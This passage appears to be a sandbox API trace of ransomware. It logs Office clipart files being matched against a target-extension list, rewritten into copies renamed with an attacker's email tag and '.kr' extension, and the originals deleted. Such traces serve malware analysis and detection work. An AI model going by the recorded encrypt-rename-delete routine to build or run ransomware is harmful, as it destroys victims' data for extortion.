(lpString1=".1cd", lpString2=".WMF") returned -1 [0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.111] lstrlenW (lpString=".jpg") returned 4 [0183.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.111] lstrlenW (lpString=".doc") returned 4 [0183.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.111] lstrlenW (lpString=".docx") returned 5 [0183.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.111] lstrlenW (lpString=".pdf") returned 4 [0183.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.111] lstrlenW (lpString=".xls") returned 4 [0183.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.111] lstrlenW (lpString=".xlsx") returned 5 [0183.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.111] lstrlenW (lpString=".ppt") returned 4 [0183.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.111] lstrlenW (lpString=".zip") returned 4 [0183.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.111] lstrlenW (lpString=".rar") returned 4 [0183.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.111] lstrlenW (lpString=".bz2") returned 4 [0183.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.111] lstrlenW (lpString=".7z") returned 3 [0183.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.112] lstrlenW (lpString=".dbf") returned 4 [0183.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.112] lstrlenW (lpString=".1cd") returned 4 [0183.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0183.112] lstrlenW (lpString=".jpg") returned 4 [0183.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.112] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0183.112] lstrlenW (lpString="BS00076_.WMF") returned 12 [0183.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0183.206] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1330) returned 1 [0183.206] CloseHandle (hObject=0x4c0) returned 1 [0183.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0183.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0183.514] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.514] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0183.560] GetLastError () returned 0x0 [0183.560] ReadFile (in: hFile=0x4d0, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x532, lpOverlapped=0x0) returned 1 [0183.562] WriteFile (in: hFile=0x4f4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x540, lpOverlapped=0x0) returned 1 [0183.563] ReadFile (in: hFile=0x4d0, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0183.563] WriteFile (in: hFile=0x4f4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0183.563] SetEndOfFile (hFile=0x4f4) returned 1 [0183.563] CloseHandle (hObject=0x4f4) returned 1 [0183.563] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.563] SetEndOfFile (hFile=0x4d0) returned 1 [0183.565] CloseHandle (hObject=0x4d0) returned 1 [0183.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0183.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0183.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.567] lstrlenW (lpString=".doc") returned 4 [0183.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.567] lstrlenW (lpString=".docx") returned 5 [0183.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.567] lstrlenW (lpString=".pdf") returned 4 [0183.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.567] lstrlenW (lpString=".xls") returned 4 [0183.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.567] lstrlenW (lpString=".xlsx") returned 5 [0183.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.567] lstrlenW (lpString=".ppt") returned 4 [0183.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.567] lstrlenW (lpString=".zip") returned 4 [0183.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.567] lstrlenW (lpString=".rar") returned 4 [0183.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.567] lstrlenW (lpString=".bz2") returned 4 [0183.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.567] lstrlenW (lpString=".7z") returned 3 [0183.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.567] lstrlenW (lpString=".dbf") returned 4 [0183.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.568] lstrlenW (lpString=".1cd") returned 4 [0183.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.568] lstrlenW (lpString=".jpg") returned 4 [0183.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.568] lstrlenW (lpString=".doc") returned 4 [0183.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.568] lstrlenW (lpString=".docx") returned 5 [0183.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.568] lstrlenW (lpString=".pdf") returned 4 [0183.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.568] lstrlenW (lpString=".xls") returned 4 [0183.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.568] lstrlenW (lpString=".xlsx") returned 5 [0183.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.568] lstrlenW (lpString=".ppt") returned 4 [0183.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.568] lstrlenW (lpString=".zip") returned 4 [0183.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.568] lstrlenW (lpString=".rar") returned 4 [0183.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.568] lstrlenW (lpString=".bz2") returned 4 [0183.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.568] lstrlenW (lpString=".7z") returned 3 [0183.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.568] lstrlenW (lpString=".dbf") returned 4 [0183.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.569] lstrlenW (lpString=".1cd") returned 4 [0183.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0183.569] lstrlenW (lpString=".jpg") returned 4 [0183.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.569] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0183.569] lstrlenW (lpString="BS00078_.WMF") returned 12 [0183.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0183.570] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=1444) returned 1 [0183.570] CloseHandle (hObject=0x4d0) returned 1 [0183.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0183.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0183.571] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.571] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0183.571] GetLastError () returned 0x0 [0183.571] ReadFile (in: hFile=0x4d0, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x5a4, lpOverlapped=0x0) returned 1 [0183.573] WriteFile (in: hFile=0x4f4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x5b0, lpOverlapped=0x0) returned 1 [0183.574] ReadFile (in: hFile=0x4d0, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0183.574] WriteFile (in: hFile=0x4f4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0183.574] SetEndOfFile (hFile=0x4f4) returned 1 [0183.574] CloseHandle (hObject=0x4f4) returned 1 [0183.574] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.574] SetEndOfFile (hFile=0x4d0) returned 1 [0183.576] CloseHandle (hObject=0x4d0) returned 1 [0183.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0183.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0183.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.577] lstrlenW (lpString=".doc") returned 4 [0183.577] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.577] lstrlenW (lpString=".docx") returned 5 [0183.577] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.577] lstrlenW (lpString=".pdf") returned 4 [0183.577] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.577] lstrlenW (lpString=".xls") returned 4 [0183.577] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.577] lstrlenW (lpString=".xlsx") returned 5 [0183.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.578] lstrlenW (lpString=".ppt") returned 4 [0183.578] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.578] lstrlenW (lpString=".zip") returned 4 [0183.578] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.578] lstrlenW (lpString=".rar") returned 4 [0183.578] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.578] lstrlenW (lpString=".bz2") returned 4 [0183.578] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.578] lstrlenW (lpString=".7z") returned 3 [0183.578] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.578] lstrlenW (lpString=".dbf") returned 4 [0183.578] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.578] lstrlenW (lpString=".1cd") returned 4 [0183.578] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.578] lstrlenW (lpString=".jpg") returned 4 [0183.578] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.578] lstrlenW (lpString=".doc") returned 4 [0183.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.578] lstrlenW (lpString=".docx") returned 5 [0183.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.578] lstrlenW (lpString=".pdf") returned 4 [0183.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.578] lstrlenW (lpString=".xls") returned 4 [0183.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.578] lstrlenW (lpString=".xlsx") returned 5 [0183.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.579] lstrlenW (lpString=".ppt") returned 4 [0183.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.579] lstrlenW (lpString=".zip") returned 4 [0183.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.579] lstrlenW (lpString=".rar") returned 4 [0183.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.579] lstrlenW (lpString=".bz2") returned 4 [0183.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.579] lstrlenW (lpString=".7z") returned 3 [0183.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.579] lstrlenW (lpString=".dbf") returned 4 [0183.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.579] lstrlenW (lpString=".1cd") returned 4 [0183.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0183.579] lstrlenW (lpString=".jpg") returned 4 [0183.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.579] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0183.579] lstrlenW (lpString="BS00092_.WMF") returned 12 [0183.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0183.580] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=7974) returned 1 [0183.580] CloseHandle (hObject=0x4d0) returned 1 [0183.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0183.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0183.580] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.581] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0183.581] GetLastError () returned 0x0 [0183.581] ReadFile (in: hFile=0x4d0, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x1f26, lpOverlapped=0x0) returned 1 [0183.584] WriteFile (in: hFile=0x4f4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x1f30, lpOverlapped=0x0) returned 1 [0183.585] ReadFile (in: hFile=0x4d0, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0183.585] WriteFile (in: hFile=0x4f4, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0183.585] SetEndOfFile (hFile=0x4f4) returned 1 [0183.585] CloseHandle (hObject=0x4f4) returned 1 [0183.585] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0183.585] SetEndOfFile (hFile=0x4d0) returned 1 [0183.588] CloseHandle (hObject=0x4d0) returned 1 [0183.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0183.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0183.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.589] lstrlenW (lpString=".doc") returned 4 [0183.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.589] lstrlenW (lpString=".docx") returned 5 [0183.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.589] lstrlenW (lpString=".pdf") returned 4 [0183.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.589] lstrlenW (lpString=".xls") returned 4 [0183.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.589] lstrlenW (lpString=".xlsx") returned 5 [0183.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.589] lstrlenW (lpString=".ppt") returned 4 [0183.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.589] lstrlenW (lpString=".zip") returned 4 [0183.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.589] lstrlenW (lpString=".rar") returned 4 [0183.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.589] lstrlenW (lpString=".bz2") returned 4 [0183.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.589] lstrlenW (lpString=".7z") returned 3 [0183.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.589] lstrlenW (lpString=".dbf") returned 4 [0183.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.589] lstrlenW (lpString=".1cd") returned 4 [0183.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0183.589] lstrlenW (lpString=".jpg") returned 4 [0183.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.589] lstrlenW 